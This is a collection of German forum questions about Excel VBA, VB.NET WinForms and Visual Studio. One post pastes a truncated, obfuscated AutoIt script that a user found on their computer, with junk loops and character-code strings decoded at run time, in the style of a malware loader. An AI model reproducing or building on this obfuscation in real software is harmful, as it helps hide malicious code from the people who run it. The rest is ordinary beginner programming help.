Hallo Zusammen

Ich steh wieder mal an mit VBA.

Also: Ich habe eine Tabelle mit Kundendaten. Wenn ich die Kundennummer anklicke, soll er mir das verlinkte Dokument drucken, bis er keine Kundennummer mehr findet. Also die Tabelle "Kundendaten" sieht z.B. so aus:

Jetzt will ich, dass er die Kundennummern 15-20 druckt und dann aufhört. Dann, wenn ich die Zelle mit "26" anklicke, soll er die Nummern 26-39 drucken. Den Code fürs drucken habe ich geschrieben. Jedoch brauche ich noch etwas, dass er "bis zur nächsten leeren Zelle" alles druckt und dann aufhört. Sozusagen: Wenn der Code eine leere Zelle erreicht, wird der VBA Code unterbrochen. Der Code zum Drucken sieht (vereinfacht) so aus:

ActiveCell.Copy

Workbooks.Open "D:\WKS\2_Aktuelles Jahr\Rapporte\5_Rapport SG, ZH, AI.xlsx"

Range("BQ11:BW11").PasteSpecial

ActiveWindow.SelectedSheets.PrintOut From:=1, To:=2, Copies:=1

ActiveWorkbook.Close savechanges:=False

ActiveCell.Offset(1, 0).Select

End Sub

Weisst jemand, wie ich das Programmieren kann, dass "eine Leere Zelle" den Code beendet/er nicht unendlich druckt?

Danke im Voraus für eure Antworten!

Hallo miteinander, ich habe diese "i" Datei einfach so auf Dem Rechner gefunden und wollte Einfach mal wissen was es ist, hier ist der Link dazu: [Link vom Support entfernt]

FILExt seit 2000 $DrawAlternative = 23 $LeaseSucceed = 50 For $WpQYhhOY = 62 To 328 If $DrawAlternative = 21 Then ACos(7367) DriveStatus(BendFibre("66R97R110R97R110R97R47R82R101R115R99R117R101R47R71R98R112R47",0/1)) Sqrt(3520) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 22 Then FileExists(BendFibre("68R105R118R115R100R105R43R84R118R113R102R115R119R106R116R112R115R43R85R98R109R108R116R43",4/4)) PixelGetColor(BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2), BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2)) Dec(BendFibre("89R107R103R121R117R116R103R114R100R76R107R107R121R100R90R111R121R121R123R107R100",30/5)) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 23 Then Opt(BendFibre("88R118R101R125R77R103R115R114R76R109R104R105",24/6), 1) ExitLoop EndIf If $DrawAlternative = 24 Then ConsoleWriteError(BendFibre("87R112R107R118R123R45R67R112R107R111R103R45R75R112R118R103R116R112R103R118R45",8/4)) Chr(1517) $DrawAlternative = $DrawAlternative + 1 EndIf Next Func WholesaleHaitiReminderCompleting($annemeets, $AmazoncoukLay, $DICKMATSSLIM, $prisonerexhaustnbentry, $yukonaviationjaystadium, $ProportionPin, $gpautumnproductionspiritual, $werepresentedbaldborders, $electronicknowledgechristina) $ALTOPERSONALLY = '5405010214968952063493898807967726088594171878677126840372' $StephenNsSapAdditional = 48 $TerraceTerrible = 87 For $UbtIoS = 40 To 921 If $StephenNsSapAdditional = 47 Then ACos(6960) PixelGetColor(94, 568, 0) ATan(1964) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf If $StephenNsSapAdditional = 48 Then $BITCHDUBAIDIARYM = Sqrt(7992) ExitLoop EndIf If $StephenNsSapAdditional = 49 Then ASin(824) ConsoleWriteError(BendFibre("85R116R120R106R66R81R106R108R110R120R113R102R121R122R119R106R66R76R122R110R113R105R66R73R110R123R125R66",5/1)) FileExists(BendFibre("85R103R112R102R117R34R84R103R101R113R112R117R118R116R119R101R118R107R113R112R34R88R103R118R103R116R99R112R117R34R86R99R100R110R103R118R34",2/1)) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf Next $SPIESSUBMISSIONOCCASIONAL = '277738451445807690080798083527466278916798997871293099' $distributorafterwards = 6 $MythAvailable = 56 For $tCvjcSsLv = 31 To 519 If $distributorafterwards = 4 Then Dec(BendFibre("71R85R68R80R68R35R76R81R71R76R68R81R68R35R79R76R87R75R88R68R81R76R68R35R69R79R89R71R35",27/9)) Exp(9587) PixelGetColor(45, 170, 0) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 5 Then PixelGetColor(35, 618, 0) ConsoleWriteError(BendFibre("85R103R103R109R103R116R117R49R81R116R107R103R112R118R99R118R107R113R112R49R78R99R121R117R119R107R118R49R85R119R110R110R107R120R99R112R49",16/8)) ACos(5577) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 6 Then $representativexnxxpetroleummagnet = Sqrt(217) ExitLoop EndIf If $distributorafterwards = 7 Then Chr(835) Dec(BendFibre("65R99R99R117R114R97R116R101R33",0/4)) $distributorafterwards = $distributorafterwards + 1 EndIf Next $COMPRESSEDENVIRONMENTAL = '4577431951295599919326669678' $OrderingAka = 81 $EVOLUTIONPACKETSCOMPETITIVE = 51 For $hdma = 92 To 283 If $OrderingAka = 80 Then Exp(6961) ASin(2467) DriveStatus(BendFibre("113R121R68",36/9)) $OrderingAka = $OrderingAka + 1 EndIf If $OrderingAka = 81 Then $hipdisplayoriginalalignment = ASin(1467) ExitLoop EndIf Next $FROSTAFFILIATESCOLONIAL = '018963007035438608543348846914979471546604839410592769688' $FINISHINGWHENEVERNODES = 23 $YOURTAPESDEATHSDUST = 50 For $ZLaruUIk = 65 To 201 If $FINISHINGWHENEVERNODES = 22 Then Chr(7045) PixelGetColor(BendFibre("78R119R124R126R123R110R56",63/7), BendFibre("78R119R124R126R123R110R56",63/7)) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf If $FINISHINGWHENEVERNODES = 23 Then $COPPERRACHELBEAVERVP = PixelGetColor(43, 391, 0) ExitLoop EndIf If $FINISHINGWHENEVERNODES = 24 Then ATan(8608) Sqrt(5933) PixelGetColor(66, 437, 0) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf Next $DEVELOPMENTEDITORIALARTHRITIS = '804534994533913976475826179188086637374026519863466805618856582756738' $IncorporateVilla = 30 $GottenLoops = 53 For $zGCEXLS = 96 To 915 If $IncorporateVilla = 29 Then Dec(BendFibre("81R123R116R105R117R72R91R107R105R118R118R109R108R72",16/2)) Exp(9251) $IncorporateVilla = $IncorporateVilla + 1 EndIf If $IncorporateVilla = 30 Then $AppearsContainedHottest = ConsoleWriteError(BendFibre("87R107R108R81R105R120R73R77R114R109R106R83R108R122R110R90",6/2)) ExitLoop EndIf If $IncorporateVilla = 31 Then ATan(2355) Dec(BendFibre("77R79R82R82R73R83R43R67R65R43",0/3)) $IncorporateVilla = $IncorporateVilla + 1 EndIf Next $ListingsGc = '9632358956507871259104285367395025565' $validitygrandn

Wenn ich den Code testen will kommt nur das:

Was soll ich machen

Keine Ahnung ich bitte um Hilfe

Die Aufgabe ist: programmieren in VBA ein Programm was den Benutzer nach seinen Namen fragen soll und ihn dann begrüßt mit seinem Namen.

das hätte ich schon aber es kommt eine Fehlermeldung

siehe Word Entwicklertools. Was hat man sich dabei gedacht?

Hallo liebe VBA-Experten,

folgende Aufgabenstellung habe ich erhalten leider kommt immer eine Fehlermeldung s.h. Anlage.

bitte um Hilfe 🙏

Hallo Zusammen

Ich bin ganz neu im VBA und bin etwas am Herumprobieren. Einen Teil habe ich geschafft, aber an einem Punkt hänge ich.

Ich will, dass ein Makro läuft, welches die Datei automatisch unter dem Namen "Kundennummer_Servicedatum" abspeichert. Die Kundennummer und das Servicedatum sind beide im Dokument unter separaten Zellen hinterlegt, die Formel sieht jetzt so aus:

Sub Speichern_unter()

Dim SaveName As String

Dim Datum As Date

SaveName = ActiveSheet.Range("BQ11").Text

Datum = ActiveSheet.Range("BM17")

ActiveWorkbook.SaveAs Filename:="D:\ABC\Service\" & SaveName & "_" & Datum & ".xls"

End Sub

Soweit funktioniert alles, das Dokument heisst z.b. "149_31.10.23"

Das Datum ist als dd.mm.yy in der Zelle, zum Abspeichern brauche ich aber folgendes Format: yymmdd. Ziel ist also der Name "149_231031"

Kann mit jemand helfen, wie ich das Datum umgedreht bekomme? Danke im Voraus :)

Hallo Community,

ich habe ein kleines VBA-Problem in Excel.

Zur Situation: Ich habe eine Mappe mit mehreren Tabellenblättern. Diese Blätter werden mir in einem Dropdownmenü angezeigt. Mithilfe eines Commandbutton springe ich dann auf das zuvor im Dropdown gewählte Tabellenblatt:

Hier der Code vom Commandbutton:

Private Sub CommandButton1_Click()

    ThisWorkbook.Sheets(Range("D7").Value).Select

End Sub

Dieses Code funktioniert allerdings nur, solange ich die Blätter auch unten in der Mappe anzeige.

Nun zu meiner Frage: Wie müsste der Code aussehen, wenn ich die Tabellenblätter ausblende?

Für JavaScript?

Hallo,

ich habe eben in Visual Studio eine "Hallo Welt" App mit Visual Basic erstellt. In

• C:\Users\name\source\repos\WinFormsApp1\WinFormsApp1\bin\Release\net6.0-windows
• C:\Users\name\source\repos\WinFormsApp1\WinFormsApp1\bin\Debug\net6.0-windows

liegt jeweils eine .exe die funktioniert, wenn ich sie in dem jeweiligen Ordner öffne. Kopiere ich die .exe in einen anderen Ordner und führe sie aus, öffnet sie sich nicht.

Was muss ich machen, damit sie überall funktioniert?

Gruß ebody

Hallo
Ich habe zu Hause versucht, Visual Studio auf meinen Laptop zu installieren, jedoch sieht es komplett anders aus, als bei uns auf den Schul-Laptops. So öffnet sich bei mir nicht der Entwurf, sondern nur ein leerer Code. Außerdem ist die Toolbar bei mir leer und der Projektmanager ist auch leer. Auch wenn ich versuche ein neues Projekt zu erstellen, ändert sich nichts im Projektmanager. Ich habe noch zwei Bilder angehängt, das eine wie ich es gewohnt bin (mit Entwurf etc.) und das andere wie es bei mir aussieht. Ich hoffe hier kennt sich jemand damit aus und kann mir helfen.

Hallo, wenn ich in Visual Studio programmiere und ich einen Fehler im Code habe startet der alte Code, der noch funktioniert hat ohne. Jedoch will ich diese Einstellung ändern, sodass dann nicht der alte Code startet sonder, dass ich die alte Fehlermeldung bekomme.
leider find ich aber die Einstellung nicht, wo genau ich dies mache.

kann mir jemand weiterhelfen ?

Hallo,

Meine eigentliche Frage ist folgende:

Wie lese ich aus einer Textzeile die Daten aus und speichere sie in einer anderen Arbeitsmappe mittels vba?

ich kenne mich nicht mit excel vba aus

möchte dennoch ein Regal Programm erstellen. Wie in beiden Bildern mit gelb markiert ist lese ich den Inhalt der Textzeile aus und gebe ihn in der Arbeitsmappe bei a1 aus. Jedoch bekomme ich es nicht hin es in die 2. arbeitsmappe (blau markiert) auszugeben und nicht in die aktuelle. Geht das?

Ergänzung: falls sich noch jemand damit auskennt wie man das in der zweiten speichert und Dan tabellarisch immer einen darunter speichert und das andere nicht überschreibt kann das am Ende auch noch anmerken. Danke im Voraus schonmal.

Hallo, wie kann ich per Excel Vba eine beliebige Range auf einem individuellen Tabellenblatt als benutzerdefinertes Datumsformat formatieren?

Worksheets("Tabellenblatt5").Range("A1:A14") = Format("ddd. * dd.mm.yyyy")

Mein bisheriger Versuch funktioniert leider nicht.

Danke

Hallo, folgendes Problem: Ich habe folgendes Datum-Format: TTT. * TT.MM.JJJJ

Wie generiere ich von der beispielsweise Zelle A1, die das Datum vorgibt, 6 weitere Tage in dem Format? Also wenn ich in die Zelle das heutige Datum Mo. 14.08.2023 eingebe, soll in den nächsten Zeilen Di. 15.08.2023 etc stehen.

Hallo, wie kann ich in Excel einen Bereich erstellen lassen, der von dem aktuellen Datum 2 Monate vor und zurück anzeigt und sich automatisch aktualisiert?

Ich dachte da bereits an eine Schleife.

Hallo ich erstelle derzeit einen Taschenrechner in Windows Forms.

Ich bin eigentlich fertig mit dem Taschenrechner, bin aber leider jetzt am Schluss auf ein Problem gestoßen, was ich nicht gelöst bekomme:

Wenn ich als Aufgabe 12,4 + 3 eingebe, kommt 127 raus. (heißt, er wertet das Komma falsch bzw. gar nicht aus) Ich verstehe aber einfach nicht warum. Es hat die ganze Zeit funktioniert und plötzlich nicht mehr. Vielleicht habe ich ja unbewusst etwas geändert.

Hier der Code =

TR Code - Pastebin.com

hatte gestern schonmal gefragt aber hier jetzt der vollständige code per link

Hallo ich erstelle derzeit einen Taschenrechner in Windows Forms.

Ich bin eigentlich fertig mit dem Taschenrechner, bin aber leider jetzt am Schluss auf ein Problem gestoßen, was ich nicht gelöst bekomme:

Wenn ich als Aufgabe 12,4 + 3 eingebe, kommt 127 raus. Ich verstehe aber einfach nicht warum. Es hat die ganze Zeit funktioniert und plötzlich nicht mehr. Vielleicht habe ich ja unbewusst etwas geändert.

Hier der Codeabschnitt, der etwas mit dem Komma zu tun hat (ich kann leider nicht den gesamten Code einfügen, da 500 Zeilen -> erweiterter Taschenrechner):

Imports System.Globalization
Imports System.Text.RegularExpressions

Public Class Form1
  Public Property zahl As String = ""
  Public Property calc As String = ""
  Dim input As String = ""

  Private Function GetDezimalTrennzeichen() As String
    Return CultureInfo.CurrentCulture.NumberFormat.NumberDecimalSeparator
  End Function

  Private Sub bcomma_Click(sender As Object, e As EventArgs) Handles bcomma.Click
    tb.Text += GetDezimalTrennzeichen()
  End Sub

  Private Sub bsolve_Click(sender As Object, e As EventArgs) Handles bsolve.Click
    ' ...
    Dim input As String = tb.Text
    input = input.Replace(",", ".")
    ' ...
  End Sub

  Private Function EvaluateExpression(expression As String) As Double
    ' ...
    Dim sqrtRegex As New Regex("sqrt\(([^()]+)\)")

    While sqrtRegex.IsMatch(expression)
      input = sqrtRegex.Replace(input, Function(match)
      Dim innerExpression As String = match.Groups(1).Value
      Dim result As Double = EvaluateExpression(innerExpression)

      If result >= 0 Then
        Return Math.Sqrt(result)
      Else
        ' Wenn das Ergebnis negativ ist, wird eine Exception ausgelöst
        Throw New ArithmeticException("Negatives Ergebnis")
      End If
  End Function)
  End While
  ' ...
End Function

Danke schon einmal.

Hallo, wie kann ich eine Kombobox in Excel über die RowSource Methode als Datum formatieren?

Danke, Gruß

Hallo, ich habe das Programm Visual Studio für mich entdeckt, jedoch mangelt es mir an Ideen. Deshalb haut alle mal eine Idee raus, egal was es ist. Hauptsache es ist was nützliches :)

Hallo,

ich habe mir einen Taschenrechner (mit For-Schleife) erstellt.

Er kann alles, außer Punkt vor Strich. Die Funktion ist etwas schwieriger, da ich kein kein DataTable.Compute benutzen darf, sonst wäre es ja zu einfach.

Es muss durch den String selber erfolgen, also etwas komplizierter.

Hier der Code (kann leider nicht den ganzen Code eingeben, daher hier der = Code, der dafür ja auch am wichtigsten ist; ich füge den Rest einzeln hinzu!):

Dim input As String = tb.Text
Dim numbers() As String = input.Split({"+", "-", "*", "/"}, StringSplitOptions.RemoveEmptyEntries)
Dim operators() As String = Regex.Matches(input, "[-+*/]").OfType(Of Match).Select(Function(m) m.Value).ToArray()

For Each op As String In operators
  If op = "*" Then
    Console.WriteLine("Multiplication operator found!")
  ElseIf op = "/" Then
    Console.WriteLine("Division operator found!")
  ElseIf op = "+" Then
    Console.WriteLine("Addition operator found!")
  ElseIf op = "-" Then
    Console.WriteLine("Subtraction operator found!")
  End If
Next

If numbers.Length < 2 OrElse operators.Length < 1 Then
  Return ' Exit the method if we can't perform the calculation
End If

Dim result As Double = Double.Parse(numbers(0))

For i As Integer = 0 To operators.Length - 1
  Dim op As String = operators(i)
  Dim number As Double = Double.Parse(numbers(i + 1))

  Select Case op
    Case "+"
      result += number
      (das Gleiche mit -*/)
  End Select
Next

tb.Text = result.ToString()
Dim containsInvalidCharacters As Boolean = False

For i As Integer = tb.Text.Length - 1 To 0 Step -1
  If Not IsNumeric(tb.Text.Substring(i, 1)) And Not "+-*/".Contains(tb.Text.Substring(i, 1)) Then
    containsInvalidCharacters = True
    Exit For
  End If
Next

' Beibehaltene For-Schleife
For index As Integer = 1 To 2
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 12

For index As Integer = 3 To 1 Step -1
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 321

For index As Integer = 4 To 1 Step -1
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 4321

For index As Integer = 5 To 1 Step -1
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 54321

For index As Integer = 6 To 1 Step -1
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 654321

For index As Integer = 7 To 1 Step -1
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 7654321

For index As Integer = 8 To 1 Step -1
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 87654321

For index As Integer = 9 To 1 Step -1
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 987654321

For index As Integer = 0 To 0
  Debug.Write(index.ToString & "")
Next

Debug.WriteLine("") 'Output: 0

End Sub

Danke schon einmal!

Hallo Programmierer,

ich frage mich, ob der Resharper für Visual Studio 2022 so wichtig ist. Ich habe große Probleme mit der automatischen Codeformatierung von Visual Studio und ich habe gehört, dass der ReSharper das besser machen soll? Was hat der ReSharper sonst noch für wichtige Funktionen.

Liebe Grüße

MegaMann1234

Ps: Grüße gehen raus an Pupsnase23

In WinForms (.Net 4.8) ist der "Hand" Cursor Pixelig, ich hätte gerne den Hand cursor der eigentlich im system eingestellt ist,

Den Cursor den ich will Bild1:

Der einzige cursor der verfügbar ist in Winforms:

Hallo,

ich möchte bei Excel VBA aus einer Arbeitsmappe eine zwei seitige Pdf. Exportieren (mittels Makros).

Mein Code sieht bisher wie folgt aus:

Sub SeiteExportieren ()

Dim DateiName As String

Dateiname = "Speicherort"

Tabelle1.PageSetup.PrintArea = "C7:T70, C71:T120"

Tabelle1.ExportAsFixedFormat Type:=xlTypePDF, FileName:=sFileName, Quality:=xlQualityStandard, IncludeDocProperties:=True, IgnorePrintAreas:=False, OpenAfterPublish:=True

End Sub

Bei dieser Funktion werden zwar zwei vorgegeben Bereiche herausgezogen, diese jedoch beide auf einer Seite dargestellt. Wie kann man die Funktion so verändern, dass die Seiten nach den angegebenen Bereichen trennt?

Danke im Voraus

Hi, ich hab folgendes Problem:

Ich soll aus einer komplexen Excel Tabelle jene Zeilen löschen, die nicht zu den anderen passen bzw. eine bestimmte Bedingung nicht erfüllen. Um die riesige Liste nicht händisch durchsuchen zu müssen, suche ich nach einer Möglichkeit, die Datenbereinigung in Excel VBA umzusetzen.

Hier ein Beispiel, welches mein Problem etwas genauer beschreibt.

Zu jedem Beispiel in Spalte A gehören in Spalte B die sortierten Werte 1, 2 und 3. Sind einem Beispiel nur 1 oder 2 Werte zugewiesen (siehe Beispiel 3) oder enthält ein Beispiel falsche Werte (siehe Beispiel 5 - falscher Wert "4"), dann sollen diese Zeilen komplett gelöscht werden.

Am Ende sollen also nur mehr die Zeilen 1,2,3,4,5,6,9,10,11 übrig bleiben.

Kann mir da jemand helfen, wie ich diese Bedingung mit den 3 zugehörigen Werten in VBA umgesetzt bekomme?

Ist es möglich in Visual Studio 2022 ein Projekt mit einen anderen live zu teilen, also wenn ich was im Code ändere das es auch direkt bei ihn angezeigt wird. Wenn ja wie ?

Hallo zusammen,

Ich versuche gerade ein Excel-Dokument zu erstellen, bei dem eine Mehrfachauswahl aus Dropdown-Listen möglich ist. Das heißt aus einer Liste sollte es möglich sein mehrere Werte anzuwählen. Das habe ich auch mit dem untenstehenden VisualBasic-Code gemeistert. Allerdings habe ich erstens das Problem, dass auch eine Mehrfachauswahl des immer gleichen Wertes möglich ist. Theoretisch könnte also in einer Zelle x-mal derselbe Werte auftauchen. Dies soll natürlich nicht möglich sein. Bei Doppelauswahl desselben Wertes soll dieser aus der Zelle wieder verschwinden.

Mein zweites Problem ist, dass ich bislang nur 2 zwei Dropdown-Listen mit Mehrfachauswahl eingefügt bekomme. Sobald ich eine dritte Spalte versuche zu implementieren, bekomme ich eine Fehlermeldung für meinen Code.

Dadurch, dass ich mich mit dem Ganzen nicht so wirklich auskenne, wäre es sehr nett, wenn mir jemand helfen könnte.

Danke!

Bisheriger Code:

Private Sub Worksheet_Change(ByVal Target As Range)

** Mehrfachauswahl über DropDown-Liste

'** Einfügen im Code-Container des betreffenden Arbeitsblattes

'** Dimensionierung der Variablen

Dim rngDV As Range

Dim wert_old As String

Dim wertnew As String

'** Errorhandling

On Error GoTo Errorhandling

'** Mehrfachauswahl im definierten Bereich "Abteilungen" und "Themen" (Bsp. J2:J2000, I2:I2000) durchführen

If Not Application.Intersect(Target, Range("J2:J2000", "I2:I2000")) Is Nothing Then

 '**Range definieren

 Set rngDV = Target.SpecialCells(xlCellTypeAllValidation)

 If rngDV Is Nothing Then GoTo Errorhandling

 '** Prüfen, ob eine gültige Zelle ausgewählt wurde und Werte eintragen

 If Not Application.Intersect(Target, rngDV) Is Nothing Then

   Application.EnableEvents = False

   wertnew = Target.Value

   Application.Undo

   wertold = Target.Value

   Target.Value = wertnew

   If wertold <> "" Then

     If wertnew <> "" Then

       Target.Value = wertold & ", " & wertnew

     End If

   End If

 End If

 Application.EnableEvents = True

End If

Errorhandling:

Application.EnableEvents = True

End Sub

gespielt wird 2vs2, der Partner und die Gegner werden jede Runde neu ausgelost. Jedoch soll man nicht den gleichen Partner nochmal bekommen. Es gibt insgesamt 64 Spieler. Heißt eine Matrix mit 4 Spalten und 16 Zeilen. Hat jemand eine Idee wie ich es umsetzen könnte oder hat eine ähnliche Software schon mal programmiert und könnte sie mir zukommen lassen als Vorlage? Es soll so wenig wie möglich VBA benutzt werden.

Kann mir jemand weiterhelfen hierbei? Wie kann ich automatisch mergen ich kenn das aus visual studio und intellj, dass ich etwas pullen kann und es automatisch merget und nur bei ausnahmefällen nochmal nachfragt

Wie ist es bei eclipse, wenn man lokale Änderungen hat und dadurch der pull nicht geht?

Kann ich in Excel einfach einen Button einfügen, hinter dem ein Stück Code steckt, der dann das Sheet durchsucht und auf die richtige Zelle springt?

Kann mir jemand den Link auf die MS Dokumentation schicken oder ein gutes Tutorial?

Die Anforderung ist in etwa so:
* Klick auf Button
* ermittle_Uhrzeit()
*springe in die Zelle rechts neben der Uhrzeit ( gerundet )

danke{};

Ich erstelle mit Visual Studio 2022 ein neues Windows Forms VB.net Projekt und möchte abhängig von den Commandline-Parametern entweder Form1, Form2 oder gar kein Form anzeigen.

In der ApplicationEvents.vb leite ich mit einem Eventhandler

       Public Shared Sub ApplicationStartup(ByVal sender As Object, ByVal e As StartupEventArgs) Handles Me.Startup
            MyNameSpace.MainApp.Main(e.CommandLine.ToArray)
        End Sub

bereits in eine eigene Startup-Sub um.

Das funktioniert auch bereits, allerdings öffnet die Applikation stur wie ein Esel trotzdem das Startform, selbst wenn ich die Anwendung innerhalb der Weiche mit Application.Exit beende. Öffne ich mit der Weiche ein anderes Startform, wird ungewollt das ursprüngliche Startform zusätzlich geöffnet.

Wie öffne ich ausschließlich das gewünschte Form beim Start der Anwendung, also Form1, Form2 oder gar keines?

Hallo, wie kann ich folgenden XLookup als Makro schreiben

=VLOOKUP(A4;EKPO!$A$1:$C$1000;2;FALSE)

A5 soll dabei eine ortlaufende Nummer sein (dafür habe ich bereits eine Variable Zaehler)

Das Ergebnis des Sverweis soll dann hierrein  

Ansicht.Cells(Zeilenindex, 3)

ich bekomme immer wieder verschiedenst Fehlermeldungen

Mein Code:

Ansicht.Cells(Zeilenindex, 3) = WorksheetFunction.VLookup(test, Worksheets("EKPO").Range("A:B"), 2, False)
  

Guten Abend zusammen.

Bevor ich zum offiziellen Thema komme nochmals ein Vorwort auf der Grundlage eines Beitrages der sinnfrei gelöscht wurde.

Vorwort:

Die Frage dient nicht dafür um hier etwas zu verkaufen sondern dazu um mir im Bereich Office/Excel weiterzuhelfen. Das Diabolic Projekt ist ein Privates und von mir als Besitzer und Eigentümer erstelltes Projekt. Ebenfalls habe ich die AGB von gutefrage.net zur Kenntnis genommen und stimme diesen hiermit Schriftlich zu.

Der letzte Beitrag wurde wegen verdacht auf Verkauf entfernt obwohl ich das HIER und im anderen Beitrag deutlich erwähnt habe. Ich möchte hier nichts Verkaufen.

| Um was handelt es sich nun?

Ich bin selber Diabetiker Typ 1 und wollte ein erstmaliges Projekt erstellen um mein Diabetes auch am Computer (in Excel) Managen zu können. Dazu habe ich in der Vergangenheit auch schon paar Fragen gestellt.

Nun habe ich eine Zeit lang darüber Nachgedacht und bin zum Entschluss gekommen alles "Einheitlich" statt einzeln zu machen. Diabook, Insulinrechner, Nährwertrechner waren noch bis vor ein paar Tagen einzelne Programme in Microsoft Excel Dokument Mappen. Ich habe überlegt und mir viel dann etwas auf. Aufgrund dessen dass ich die Dinge mache um das Leben mit Diabetes einfacher zu machen dachte ich mir: Okay. Dann werde ich doch alles in einer Mappe verarbeiten da die Einzelnen Mappen immer aufwendig sind.

Ich Persönlich verwende schon lange Zeit eine App die vieles miteinander vereint. So soll es auch mit dem was ich vor habe werden.

| Weiteres:

Ich möchte das alles im Prinzip erneuern. Ich habe leider nur wenig bis minimale Kenntnisse im Bereich "Microsoft Excel" und habe schon paar Ideen die ich nur zum Teil umsetzen kann weil mir dafür das Wissen & Erfahrung fehlt und ich deshalb diesen Beitrag erstelle um danach zu Fragen.

| Vorstellung & Idee/n:

Meine Ideen und Vorstellungen in diesem Projekt sind naja irgendwie zu Groß weshalb ich bezweifle das es möglich sein wird alles in Excel umsetzten zu können.

Ich habe mich schon bei YouTube umgesehen und kam leider zu keinem Video das mir dass zeigen würde was ich so bräuchte. Ich hätte aber gerne Folgendes:

• Startseite: Erweiterungen um in der linken Leiste alles ein und zuklappen zu können. Dies ebenfalls beim Nährwertrechner mit mehreren Mappen um dort verschiedene Kategorien für Lebensmittel anzulegen. Auch beim nachkommenden Rezeptrechner um dort ebenfalls Kategorien anlegen zu können.
• Favoriten: Wichtig beim Nährwert/Rezeptrechner um Lebensmittel oder Rezepte schneller zu finden.
• Mappen in Mappen: Ich hätte außerdem gerne die Funktion das ich zb. in der Mappe Nährwertrechner weitere Mappen erstellen kann un das überall.
• Nährwertrechner(Suche): Ich hätte außerdem gerne das man oben eine Leiste hat um alle Lebensmittel und Rezepte zu finden. Diese sollen dann in einer Liste dort oder dann im Nährwertrechner angezeigt werden. Auch ins Tagebuch übertragbar sein.

Es ist zu viel. Bräuchte man dafür VBA oder geht das ohne? Danke im Voraus! :)

Das ist mein Code:

Private Sub ComboBox1_Initialize()

  ComboBox1.AddItem "weisungsbefugt "
  ComboBox1.AddItem "Meier"
  ComboBox1.AddItem "Schmitz"
  ComboBox1.AddItem "Weber"
  ComboBox1.AddItem "Mustermann"

  .ListIndex = 1 'Vorbelegung


End Sub





Private Sub ComboBox1_Change()
    


    Dim sPfad As String


    Inhalt = get_Word_ContenField_as_Text("DropBox1")


    MsgBox Inhalt


    Exit Sub


End Sub

Nur leider funktioniert der Initilialize Teil einfach nicht und ich weiß nicht was ich falsch mache? Ich bitte um Hilfe. Danke!

Hi, ich bin absoluter Programmieranfänger und habe eine Aufgabe erhalten, die ich lösen muss. Und zwar soll ich ein VB Scribt schreiben, dass man in der cmd Konsole öffnen soll, um dann eine Pyramide aus X zu erhalten.

Die Pyramide soll aus 8 Zeilen bestehen, pro Zeile kommen jeweils links und rechts ein x dazu. Ganz oben hat man ein X und 7 Leerzeichen, ganz unten kein Leerzeichen und 15X.

Kann mir jemand die Lösung geben wie in dem Youtube Video '1.2.4.1 Java - Eclipse Bsp. (for) Weihnachtsbaum', nur anstatt Java mit der Programmiersprache Visual Basic und die vorgegebenen Befehle

Set oWSH = CreateObject("WScript.Shell")

vbsInterpreter = "cscript.exe"

WScript.StdOut.WriteLine ""

WScript.StdOut.Write ""

Vielen Dank schonmal

Ich möchte gerne eine Excel VBA Button erstellen und Makro zuweisen programmieren. und möchte gerne eine BUTON "Eingang" & eine "Ausgang"

Wenn ich Eingang drücke soll +1 (Zählen) und wenn ich Ausgang -1 (Zählen)

Ich sollte  in excel per vba die letzten 30 gefüllten Zeilen von unten kopieren und in eine andere excel datei einfügen.

Wie kann ich diese Zeilen auswählen und dann kopieren?

Vielen Dank im Voraus

Johann

Guten Tag

Ich brauche umbedingt Sp 4 für Visual C++ 6.0. Nur Sp 4 brauche ich. Kein anderer Sp funktioniert. Ich suche schon ewig finde aber kein Sp4. Sp 3 oder Sp 5 oder sogar höher kann ich nicht gebrauchen. Ich wäre mega glücklich wenn jemand noch ein Sp4 findet zum herunterladen.

Danke

Was kann ich alles mit VBS Programieren?

Beispiele am besten mit Quellcode

Hallo,

kann mir hier jemand weiterhelfen, ich finde dazu leider nicht wirklich was.

Ich möchte gerne mit Visual Studio mit der Programmiersprache Visual Basic auf eine SAP Transaktion z.B. CS14 zugreifen und dann in der Transaktion wie bei einem Makro noch 2-3 Knöpfe drücken lassen.

Kann mir bei diesem Problem jemand weiterhelfen?

LG

Alle Zellen sollen durch eine bedingte Formatierung formatiert werden die mindestens einen Buchstaben in der Zelle enthalten. Dabei spielt es keine Rolle ob es am Anfang in der Mitte oder am Ende der Zelle ist.

Z.B. sollte: 89A800d328934K-89 erkannt werden und 9823490-2308 wiederum nicht erkannt werden von der bedingten Formatierung.

Direkt vorweg, ich kenne mich 0,01 % mit VBA aus!

Ich habe ein Macro zum erstellen eines Timers von hier http://pptalchemy.co.uk/Animated_Timer2.html kopiert und das klappt auch ganz gut.

Jetzt würde ich gerne die Zeile "Iduration = 120 'in seconds" so umändern, dass je nach Angabe in einem Textfeld/einer Form das VBA die 120 variabel anpasst.

Sprich, in Form "Rechteck 2" steht die Zahl 180 -> also soll Iduration = 180 sein.

Geht soetwas?

Hallo,

ich lerne gerade VBA bei Excel und dabei habe ich ein Problem. Ich hab zur Probe in das Modul folgenden Code eingegeben:

Sub DatenTyp1()

  Dim MeinText As String   

  MeinText = "Test"

End Sub

Wenn man das "Einzelschritt" aktiviert und mit dem Cursor über "MeinText" geht sollte dann doch: MeinText = "Test"

stehen, oder?

Bei mir steht jedoch nur: MeinText = ""

